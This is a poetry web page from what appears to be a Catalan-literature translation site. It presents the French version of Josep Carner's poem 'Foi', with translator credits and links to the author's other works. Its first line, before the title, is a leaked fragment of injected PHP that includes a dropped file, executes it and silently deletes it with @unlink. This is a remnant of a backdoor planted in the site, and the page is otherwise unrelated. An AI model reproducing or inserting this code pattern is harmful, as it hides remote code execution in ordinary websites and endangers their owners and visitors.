");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Foi - Josep Carner
Facebook Twitter

Poesia

Josep Carner
Foi

Il y a une douleur, plus loin que la sagesse:
Et l'impossible seul lui fera beau visage.
Un tas pierreux est devenu le pur palais:
Ses murs ne sont que trous, et cendres, ses lambris.

Et lui-même, larron de ce lieu dépeuplé,
Tâtonnant, retombant, se dressant peu à peu,
Le découragement rapine dans la nuit
Ce qui voudrait se souvenir et vivre encor.

Mais je sais d’où il vient, l'inépuisable feu
Qui pourrait animer une poussière morte!
Un monument dernier demeure dans les ruines:

Par lui, j’irai là-haut sans vains paliers d’attente,
Tenté par le chemin des aubes éphémères:
C'est un bout d'escalier ne menant nulle part.

Traducido por Émilie Noulet i Josep Carner
Josep Carner, Foi. París: 1961.
Josep Carner
Fragmentos
A una font, en la nit
Català | English | Français
Cor fidel
Català | English | Français
Isla
Català | English | Français | Italiano
Nabí (espanyol)
Català | English | Français
Ostende, 31 desembre 1949
Català | English | Français | Italiano
Bibliografía
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Poesía
Con el soporte de: